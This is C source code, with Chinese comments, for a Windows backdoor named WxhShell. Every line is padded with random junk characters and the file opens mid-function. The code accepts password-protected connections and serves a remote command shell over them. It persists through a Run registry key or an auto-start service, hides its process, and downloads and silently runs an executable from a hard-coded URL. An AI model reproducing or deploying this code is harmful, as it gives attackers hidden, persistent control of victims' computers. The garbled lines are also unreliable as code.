    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (d (>0YMv  
    else { eT]*c?"  
    closesocket(wsh); ry@p  
    ExitThread(0); ^tI&5S]nE  
    } <[K)PI  
    break; m|t\w|B2  
    } N:S2X+}(  
  // 获取shell $|T Lt{ K  
  case 's': { 6Z2|j~  
    CmdShell(wsh); 9_e_Ne`i`?  
    closesocket(wsh); 3(vm'r&5n>  
    ExitThread(0); zjSl;ru  
    break; 7zJ2n/`m*  
  } IN;9p w  
  // 退出 `&xdSH  
  case 'x': { Uj3HAu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !c-MC|  
    CloseIt(wsh); j]]5&u/l  
    break; n2Mpo\2  
    } pG"h ZB3)  
  // 离开 AZA5>Y  
  case 'q': { @$ lX%p>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g jzWW0C  
    closesocket(wsh); `D$^SHfyz  
    WSACleanup(); z"QXPIXPk  
    exit(1); gs0`nysM#  
    break; $#3[Z;\  
        } `Mcg&Mi~  
  } qPWf=s7!  
  } :}/\hz ,  
LP'q$iB!  
  // 提示信息 ^N 4Y*NtV7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g)D@4RM  
} [z+YX s!N  
  } : yq2 XE%r  
wL^x9O|`p9  
  return; ; C(5lD&\5  
} i[{*(Y$L  
UQ7La 7"  
// shell模块句柄 Y9vVi]4  
int CmdShell(SOCKET sock) *yo'Nqu  
{ -yg;,nCg  
STARTUPINFO si;  yOvV"x]  
ZeroMemory(&si,sizeof(si)); DIWyv-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,j\uvi(Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v0tFU!Q%  
PROCESS_INFORMATION ProcessInfo; dLwP7#r  
char cmdline[]="cmd"; 8*&73cp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )  LTV+?  
  return 0; ko'V8r `V  
} !M9mX%UQ  
QZa^Cng~  
// 自身启动模式 m qUDve(  
int StartFromService(void) |ITb1O`_P  
{ @~N"MsF3  
typedef struct gTB|IcOs  
{ b`^?nD7  
  DWORD ExitStatus; N2k{@DY  
  DWORD PebBaseAddress; A )CsF  
  DWORD AffinityMask; ,1lW`Krx  
  DWORD BasePriority; '&K' 0qG  
  ULONG UniqueProcessId; QMrH%Y  
  ULONG InheritedFromUniqueProcessId; oWi#?'  
}   PROCESS_BASIC_INFORMATION; WX_g  
HU4h.Lm  
PROCNTQSIP NtQueryInformationProcess; u|u)8;'9(  
_v,Wl/YAp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,H mGp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O#C0~U]dDW  
m39.j:BG5  
  HANDLE             hProcess; @Gw]cm  
  PROCESS_BASIC_INFORMATION pbi; 6"}F KRR  
EM +! ph  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0b8=94a{>  
  if(NULL == hInst ) return 0; /Dt:4{aTOC  
ui|6ih$+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |E||e10wR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uGW#z_{(n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B> \q!dX3  
0oBAJP  
  if (!NtQueryInformationProcess) return 0; DW:\6k  
[eTEK W]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o8%o68py  
  if(!hProcess) return 0; MTgf.  
H!6&'=c{k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tI#65ox#  
2bw.mp&v1  
  CloseHandle(hProcess); ;'Z"CbS+  
ncOl}\Q9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D(dV{^} 9  
if(hProcess==NULL) return 0; oY,{9H37b  
:J2^Y4l2  
HMODULE hMod; IDh`*F  
char procName[255]; &G\C[L  
unsigned long cbNeeded; Z.unCf3Q  
Jcs /i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vQnhb %  
E piF$n  
  CloseHandle(hProcess); 'xa EG,P  
YZnFU( j  
if(strstr(procName,"services")) return 1; // 以服务启动 -y?ve od#  
)-}<}< oO  
  return 0; // 注册表启动 !O'p{dj][  
} JnnxXj30,  
yOb']  
// 主模块 U-f8 D  
int StartWxhshell(LPSTR lpCmdLine) ?>vkY^/  
{ {BaPK&x,  
  SOCKET wsl; =T?Xph{  
BOOL val=TRUE; rd[mC[ r  
  int port=0; ];g ~)z  
  struct sockaddr_in door; QqBQ[<_  
<pS#wTsN4%  
  if(wscfg.ws_autoins) Install(); wnLpf  
}v_|N"@  
port=atoi(lpCmdLine); 8(S|=cR  
0%IZ -])  
if(port<=0) port=wscfg.ws_port; bun_R-  
/6\uBy"Xt  
  WSADATA data; ?@Tsd@s~r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yc3\  
o@aXzF2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _ |HA\!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $`0,N_C<}  
  door.sin_family = AF_INET; q$}J/w(,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~=oCou`XF  
  door.sin_port = htons(port); =_Z.x&fi  
j"zW0g!S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;>X;cZMd  
closesocket(wsl); _)3C_G1!  
return 1; fJ\ u8  
} q%/.+g2-\  
('d,Sh  
  if(listen(wsl,2) == INVALID_SOCKET) { #E<~WpP  
closesocket(wsl); Cgf4E{\U!  
return 1; R /_vJHI  
} $!z.[GL  
  Wxhshell(wsl); P(C5@x(Z  
  WSACleanup(); Tpkt'|8  
G#uB%:)&0u  
return 0; jC?l :m?  
b0se-#+  
} 3k8. 5W  
^d(gC%+!u  
// 以NT服务方式启动 .O+,1&D5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6vJ S"+ <  
{ j^f54Ky.  
DWORD   status = 0; Gs04)KJm<  
  DWORD   specificError = 0xfffffff; $h=v ;1"  
vJx( lU`Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (gcy3BX;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |&bucG=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WBzPSnS2  
  serviceStatus.dwWin32ExitCode     = 0; L` rrT   
  serviceStatus.dwServiceSpecificExitCode = 0; EgzdRB\Cf  
  serviceStatus.dwCheckPoint       = 0; {sq:vu@NC  
  serviceStatus.dwWaitHint       = 0; a/%qn-i|p  
s,Fts3+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $V/Ke  
  if (hServiceStatusHandle==0) return; b1."mT!p  
G2|G}#E  
status = GetLastError(); , BZ(-M  
  if (status!=NO_ERROR) 0+e 0<'  
{ 2:yXeSeA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X1V~.k vt)  
    serviceStatus.dwCheckPoint       = 0; hOdU%  
    serviceStatus.dwWaitHint       = 0; 2G3Hi;q18  
    serviceStatus.dwWin32ExitCode     = status; ^R7X!tOq4  
    serviceStatus.dwServiceSpecificExitCode = specificError; YXdo&'Q<qX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?D_}',Wx  
    return; :."+&gb  
  } yy3`E}vX7  
yaHkWkl =  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qB`%+<)C  
  serviceStatus.dwCheckPoint       = 0; -|=)  
  serviceStatus.dwWaitHint       = 0; v+<4?]EJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sdgI ,  
} Az>r}*F Gr  
`P*wZKlW  
// 处理NT服务事件,比如:启动、停止 T[cJ   
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9}q)AL-ga  
{ ~)ysEZl  
switch(fdwControl) PklJU:Pu\U  
{ d9T:0A`M  
case SERVICE_CONTROL_STOP: aH, NS   
  serviceStatus.dwWin32ExitCode = 0; %[o($a$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '#QZhz(+  
  serviceStatus.dwCheckPoint   = 0; !y2yS/  
  serviceStatus.dwWaitHint     = 0; #TeAw<2U  
  { 'I2[} >mj2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ``rYzj_  
  } <0jM07\<  
  return; AthR|I|8  
case SERVICE_CONTROL_PAUSE: Ch~y;C&e+r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [V5,1dmkI  
  break; =xb/zu(  
case SERVICE_CONTROL_CONTINUE: 'Q.5` o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QG@Z%P~,E  
  break; nwDGzC~y<  
case SERVICE_CONTROL_INTERROGATE: $)=`Iai  
  break; ?]TtUoY=)F  
}; r -uu`=,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D<*) ^^  
} Q7mikg=1-  
,}I m^~5  
// 标准应用程序主函数 |n(b>.X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #!r>3W&  
{ FIQHs"#T  
CXi:?6OG  
// 获取操作系统版本 f\Q_]%^W  
OsIsNt=GetOsVer(); A\.{(,;kp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x Y}.mP  
gN<J0c)  
  // 从命令行安装 Scmew  
  if(strpbrk(lpCmdLine,"iI")) Install(); "|PX5  
~C?)- ]bF  
  // 下载执行文件 KHeeB`V>J  
if(wscfg.ws_downexe) { 7!6v4ZA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y+Bxe )6^V  
  WinExec(wscfg.ws_filenam,SW_HIDE); )cm^;(#pV  
} )R"UX:Q>  
zIU6bMMT3u  
if(!OsIsNt) { A "'h0D  
// 如果时win9x,隐藏进程并且设置为注册表启动 $ ]^Io)}f@  
HideProc(); m\|EM'@k  
StartWxhshell(lpCmdLine); aQj6XG u  
} H*",'`|-  
else W4nhPH(  
  if(StartFromService()) ;g<y{o"Q3p  
  // 以服务方式启动 OgCNq W d-  
  StartServiceCtrlDispatcher(DispatchTable); bhfC2@  
else '\"5qB  
  // 普通方式启动 81)i>]  
  StartWxhshell(lpCmdLine); (>*L-&-  
&uf|Le4  
return 0; x5M+\?I<2  
} Sa:;j4  
W/%9=g$m  
D\DwBZ>  
5hDPX \  
=========================================== TR'_v[uK3  
d"lk"R  
:y_] JL;w  
*nV"X0&  
OM@z5UP  
$ao7pvU6  
" f{{J_""?&  
Zk31|dL  
#include <stdio.h> 1I8<6pi-  
#include <string.h> WkPT6d  
#include <windows.h> ._&SS,I5VZ  
#include <winsock2.h> ++=jh6  
#include <winsvc.h> Rq|]KAN  
#include <urlmon.h> y%<CkgZS  
NA#,q 8  
#pragma comment (lib, "Ws2_32.lib") TT&%[A+  
#pragma comment (lib, "urlmon.lib") :fnK`RnaQ  
6 8Vxy  
#define MAX_USER   100 // 最大客户端连接数 iY5V4Gbo  
#define BUF_SOCK   200 // sock buffer !3z ;u8W  
#define KEY_BUFF   255 // 输入 buffer 1buO&q!vn  
YuoIhT  
#define REBOOT     0   // 重启 `9acR>00$  
#define SHUTDOWN   1   // 关机 <2O XXQ1  
o ethO  
#define DEF_PORT   5000 // 监听端口 RE08\gNIt  
[|(=15;  
#define REG_LEN     16   // 注册表键长度 C)%qs]  
#define SVC_LEN     80   // NT服务名长度 s&\krW &  
Qm*XWo  
// 从dll定义API \\`(x:\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); akWOE}5#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xv 7noq|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BUyKiMW49  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mR8tW"Z2  
yI%q3lB}^  
// wxhshell配置信息 /.sho\a  
struct WSCFG { &{ZUY3  
  int ws_port;         // 监听端口 4Wa*Pcj  
  char ws_passstr[REG_LEN]; // 口令 y'O<*~C(X  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1 r3} V7  
  char ws_regname[REG_LEN]; // 注册表键名 $|AasT5w  
  char ws_svcname[REG_LEN]; // 服务名 -_Kw3x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8wn{W_5a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LbR'nG{J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +/hd;s$x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y!_8m#n S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pB7^l|\]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4Ofkagg  
A-YW!BT4  
}; QI78/gT,d  
]3 QW\k~  
// default Wxhshell configuration \=o0MR  
struct WSCFG wscfg={DEF_PORT, {*K$gH$  
    "xuhuanlingzhe", T*'WS!z  
    1, wGx H  
    "Wxhshell", sFsf~|  
    "Wxhshell", Xx\,<8Xn  
            "WxhShell Service", e -b>   
    "Wrsky Windows CmdShell Service", GH`y-Ul'K  
    "Please Input Your Password: ", 4^:$|\?]  
  1, (ki= s+W-  
  "http://www.wrsky.com/wxhshell.exe", 0!tuUn  
  "Wxhshell.exe" rU 1Ri  
    }; ACpecG  
QuC_sFP10  
// 消息定义模块 _7dp(R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,,lR\!>8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "CZv5)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M; YJpi  
char *msg_ws_ext="\n\rExit."; 32`Z3-  
char *msg_ws_end="\n\rQuit."; WADEDl&,'  
char *msg_ws_boot="\n\rReboot..."; js% n]$N  
char *msg_ws_poff="\n\rShutdown..."; 0;hn;(V]"  
char *msg_ws_down="\n\rSave to "; vb}c)w dp?  
d$Y_vX<  
char *msg_ws_err="\n\rErr!"; (;-_j /  
char *msg_ws_ok="\n\rOK!"; 3jHg9M23[^  
.bj:tmz  
char ExeFile[MAX_PATH]; q4,/RZhzh  
int nUser = 0; =r3g:j/>q  
HANDLE handles[MAX_USER]; =y`-:j\  
int OsIsNt; 6;;2e> e  
:39arq  
SERVICE_STATUS       serviceStatus; vJS}_j]_@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oe!4ng[  
m7i(0jd +  
// 函数声明 }{Ra5-PY  
int Install(void); +[4y)y`  
int Uninstall(void); U]g9t<jD  
int DownloadFile(char *sURL, SOCKET wsh); P!!O~P  
int Boot(int flag); N7YCg  
void HideProc(void); B![:fiR`  
int GetOsVer(void); {SD%{  
int Wxhshell(SOCKET wsl); ekqS=KfWl;  
void TalkWithClient(void *cs); .K`n;lVs  
int CmdShell(SOCKET sock); 1qBE|PwBp  
int StartFromService(void); 'pB?  
int StartWxhshell(LPSTR lpCmdLine); JVr8O`>T  
14*6+~38m&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t D4-Llj6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I&<'A [vHl  
1aUg({  
// 数据结构和表定义 b~@+6 ?  
SERVICE_TABLE_ENTRY DispatchTable[] = +@*>N;$  
{ MH0wpHz  
{wscfg.ws_svcname, NTServiceMain}, qVH.I6)  
{NULL, NULL} (]PH2<3t  
}; ;' H\s  
[JV?Mdzu  
// 自我安装 S\!vDtD@  
int Install(void) 34nfL: y  
{ 5fYWuc9}z  
  char svExeFile[MAX_PATH]; }w-M .  
  HKEY key; R~fk/T?  
  strcpy(svExeFile,ExeFile); 16 \)C/*  
Q>cEG"  
// 如果是win9x系统,修改注册表设为自启动 $: |`DCC  
if(!OsIsNt) { GSd:Plc%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wu(^k25  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _x^rHADp  
  RegCloseKey(key); i ^2A:6}?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AlkHf]oB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N">#fYix  
  RegCloseKey(key); o wb+,Gk(  
  return 0; ^7Z;=]8J  
    } %b2Hm9r+  
  } RzzU+r  
} :R>RCR2g)  
else { k 8%@PC$  
Mc!LC .8  
// 如果是NT以上系统,安装为系统服务 (U_HX2f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  yK$aVK"  
if (schSCManager!=0) b#R$P]dr=  
{ pS}IU{#;  
  SC_HANDLE schService = CreateService ~t ZB1+%)  
  ( -=5~-72~  
  schSCManager, 6NHP/bj<1V  
  wscfg.ws_svcname, {<-wm-]mo  
  wscfg.ws_svcdisp, DiTpjk ]c`  
  SERVICE_ALL_ACCESS, S\Le;,5Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l-S0Gn/'X  
  SERVICE_AUTO_START, lnLy"f"zV  
  SERVICE_ERROR_NORMAL, e4tC[6;  
  svExeFile, t%0c$c  
  NULL, +{C)^!zBK  
  NULL, d 2^/  
  NULL, K_-m:P  
  NULL, hZ!kh3@:`  
  NULL H)EL0 Kv/  
  ); GIn%yB'  
  if (schService!=0) {2q0Ko<  
  { 8eYEi  
  CloseServiceHandle(schService); =tP^vgfQ  
  CloseServiceHandle(schSCManager);  + #E?)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7J ?s&x  
  strcat(svExeFile,wscfg.ws_svcname); B([-GpZt[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'J5F+, \Ka  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K2e *AE*  
  RegCloseKey(key); wu`+KUx  
  return 0; U^%)BI  
    } c~;VvYu  
  } X.[bgvm~C  
  CloseServiceHandle(schSCManager); cMnN} '  
} " a,4E{7  
} *N:0L,8  
*+2_!=4V  
return 1; @!O(%0 =  
} DT)] [V^w  
8{ =ha  
// 自我卸载 ~(huUW  
int Uninstall(void) lSO$Q]!9  
{ ' i<4;=M&  
  HKEY key; Un,'a8>V`  
udIm}jRA"  
if(!OsIsNt) { -.ZP<,?@F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \i@R5v=zL  
  RegDeleteValue(key,wscfg.ws_regname); .:B>xg~2  
  RegCloseKey(key); );6f8H@G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?%Tx% dB  
  RegDeleteValue(key,wscfg.ws_regname); m<kJH<!j  
  RegCloseKey(key); `Syfl^9B  
  return 0; 4z26a  
  } ~J> ;l s1  
} BHYguS^qz  
} .XiO92d9  
else { vyB{35p$  
(v|<" tv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \_6  
if (schSCManager!=0) 75R#gQ]EV  
{ +`>E_+Mp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (C"q-0?n  
  if (schService!=0) Xw<;)m  
  { &=$f\O1Ty  
  if(DeleteService(schService)!=0) { Dj'?12Onu=  
  CloseServiceHandle(schService); A9u>bWIE7  
  CloseServiceHandle(schSCManager); m)"(S  
  return 0; @G=7A;-pv0  
  } kR^h@@'F"  
  CloseServiceHandle(schService); )T^w c:  
  } [rK`BnJX  
  CloseServiceHandle(schSCManager); JX[]u<h?  
} (xVx|:R[<H  
} <eS/-W %n6  
wVnmT94  
return 1; T]tu#h{ a  
} w?^[*_Y  
VNIl%9:-l  
// 从指定url下载文件 Q^nf D  
int DownloadFile(char *sURL, SOCKET wsh) ?wCX:? g  
{ F ]Zg  
  HRESULT hr; y Rl   
char seps[]= "/"; Bp5ra9*5+~  
char *token; 9+s&|XS*  
char *file; YM'4=BlJHv  
char myURL[MAX_PATH]; CI$z+ zN  
char myFILE[MAX_PATH]; /2c(6h  
9&.md,U'  
strcpy(myURL,sURL); C4.GtY8,d  
  token=strtok(myURL,seps); K%mR=u#%&  
  while(token!=NULL) Y,Rr[i"j  
  { G)t-W %D&  
    file=token; q/54=8*h0  
  token=strtok(NULL,seps); ujmIS~"  
  } nqUnDnP2c  
ha=2isq  
GetCurrentDirectory(MAX_PATH,myFILE); 2ww H3}  
strcat(myFILE, "\\"); Q1x&Zm1v  
strcat(myFILE, file); Lw_|o[I}  
  send(wsh,myFILE,strlen(myFILE),0); nK?S2/o#A  
send(wsh,"...",3,0); PuGs%{$(h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &Mudu/KTr  
  if(hr==S_OK) H)gc"aRe;Y  
return 0; E?P>s T3B  
else 5V =mj+X?  
return 1; r~ f;g9I  
V@-Q&K#  
} Hv^Bw{"/R  
2zh- ms  
// 系统电源模块 tp7$t#  
int Boot(int flag) 0:u:#))1  
{ Bl8|`R^g  
  HANDLE hToken; &?H$-r1/?V  
  TOKEN_PRIVILEGES tkp; bEQ-? X%7  
c!7WRHJE_a  
  if(OsIsNt) { oe 6-F)+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QkD ~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Z J-oT!.  
    tkp.PrivilegeCount = 1; 7kE+9HmfMk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j7gTVfO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >A-{/"p#  
if(flag==REBOOT) { un-%p#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ln=fq:  
  return 0; EC[]L'IL  
} v^t7)nx^  
else { 2z;3NUL$n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 D^#6h 4  
  return 0; l/zv >  
} UWV%  y P  
  } Y3&,U  
  else { !ae?EJm"  
if(flag==REBOOT) { ,&S0/j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qr3!6  
  return 0; 9cP{u$  
} Q*ELMib  
else { KhB775  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eUB!sR%  
  return 0; "49dsKIOH  
} Jk&!(YK&  
} pY )x&uM!  
z`E=V  
return 1; {x,)OgK!{  
} 3Q=\W<Wu  
.9B@w+=6  
// win9x进程隐藏模块 uZrp ^  
void HideProc(void) .qZz 'Eq[  
{ {fHor  
^`";GnH0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _!DH/?aU  
  if ( hKernel != NULL ) ZZo<0kDk  
  { #.HnO_sK_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l~]] RgU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dG5jhkPX  
    FreeLibrary(hKernel); SF-"3M  
  } cRrJZ9  
M3@qhEf?vk  
return; j;_  
} ?i#x13  
JXe~ 9/!  
// 获取操作系统版本 ?VE'!DW  
int GetOsVer(void) l_:P |  
{  AkS16A  
  OSVERSIONINFO winfo; b:Zh|-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c]#}#RJ`\  
  GetVersionEx(&winfo); 1aRTvaGo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W& 0R/y7  
  return 1; +O 7( >a  
  else *|\bS "  
  return 0; bs ~P  
} !10/M  
rmkBp_i{|  
// 客户端句柄模块 {X(nn.GpC  
int Wxhshell(SOCKET wsl) v8yCf7+"  
{ 1[Yl8W%pj  
  SOCKET wsh; ?|W3RK;  
  struct sockaddr_in client; Bt@?l]Y  
  DWORD myID; zc)nDyn  
_p0Yhju?  
  while(nUser<MAX_USER) Evm3Sm!S  
{ Ah7"qv'L\  
  int nSize=sizeof(client); n)q8y0if  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0:[A4S`X  
  if(wsh==INVALID_SOCKET) return 1; L QV@]z&  
#1'q'f:7 &  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (b#M4ho*f  
if(handles[nUser]==0) }'x)e  
  closesocket(wsh); Z!|r>  
else N^oP,^+U  
  nUser++; HLPRTta.  
  } %pjeA[-m#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IL.bwt pQD  
SEzjc ~@3  
  return 0; ,ESli/6  
} f]%S FQ+  
h?n?3x!(  
// 关闭 socket _%2ukuJ `  
void CloseIt(SOCKET wsh) &57~i=A 3  
{ R)Mkt8v  
closesocket(wsh); O[MFp  
nUser--; RNB&!NC  
ExitThread(0); }9\6!GY0  
} 61kSCu  
BI)C\D3[  
// 客户端请求句柄 i&6U5Va,G  
void TalkWithClient(void *cs) vPYHM2  
{ %4!^AA%  
#*CMf.OCh  
  SOCKET wsh=(SOCKET)cs; ^ei[1 #  
  char pwd[SVC_LEN]; S5>ztK.e  
  char cmd[KEY_BUFF]; BE@(| U  
char chr[1]; {z 5YJ*C  
int i,j; J{\Uw].|0  
q6-o!>dLQ  
  while (nUser < MAX_USER) { A? B +  
+0%r@hTv&>  
if(wscfg.ws_passstr) { 56s%Qlgx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )JTQZ,f3]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZJ2 MbV.6  
  //ZeroMemory(pwd,KEY_BUFF); jnJ*e-AW  
      i=0; (N&?Z]|yr  
  while(i<SVC_LEN) { R~a9}&  
o#wly%i')  
  // 设置超时 (y!bvp[" m  
  fd_set FdRead; :B5*?x  
  struct timeval TimeOut; v^o`+~i  
  FD_ZERO(&FdRead); D^%IFwU^  
  FD_SET(wsh,&FdRead); X5.9~  
  TimeOut.tv_sec=8; GBBr[}y-  
  TimeOut.tv_usec=0; LhAW|];  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3h.,7,T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yD& Y`f#  
y'^U4# (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DQW)^j h  
  pwd=chr[0]; L{jx'[C  
  if(chr[0]==0xd || chr[0]==0xa) { wMCg`rk  
  pwd=0; BSHS)_xs  
  break; #p*uk  
  } L)U*dY   
  i++; ER9{D$  
    } BrSvkce  
C=&n1/  
  // 如果是非法用户,关闭 socket NYHK>u/5c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P A ZjA0d  
} g4,ldr"D  
Ip7#${f5M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "!vY{9,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n!Y_SPg   
v+{{j|x=  
while(1) { ELnUpmv\  
cFq<x=S  
  ZeroMemory(cmd,KEY_BUFF); -DHzBq=H  
Ow>u!P!  
      // 自动支持客户端 telnet标准   K5LJx-x*j  
  j=0; ?'f  
  while(j<KEY_BUFF) { b3>zdS]Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]\|2=  
  cmd[j]=chr[0]; Zx{Sxv"  
  if(chr[0]==0xa || chr[0]==0xd) { \`~YW<D  
  cmd[j]=0; ]3,9 ."^  
  break; {~9HJDcM  
  } e{87n>+,  
  j++; n;:.UGl9.  
    } |Y}YhUI&  
r@r*|50  
  // 下载文件 ^(+q 1O'  
  if(strstr(cmd,"http://")) { cOdRb=?9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b1#C,UWK  
  if(DownloadFile(cmd,wsh)) rAHP5dx:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p({@t=L3g  
  else 1QA/ !2E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ly34aD/p~,  
  } Heh&;c  
  else { R2~y<^.V`Y  
!4+Die X  
    switch(cmd[0]) { 6|q"lS*$S  
  &D[M<7T  
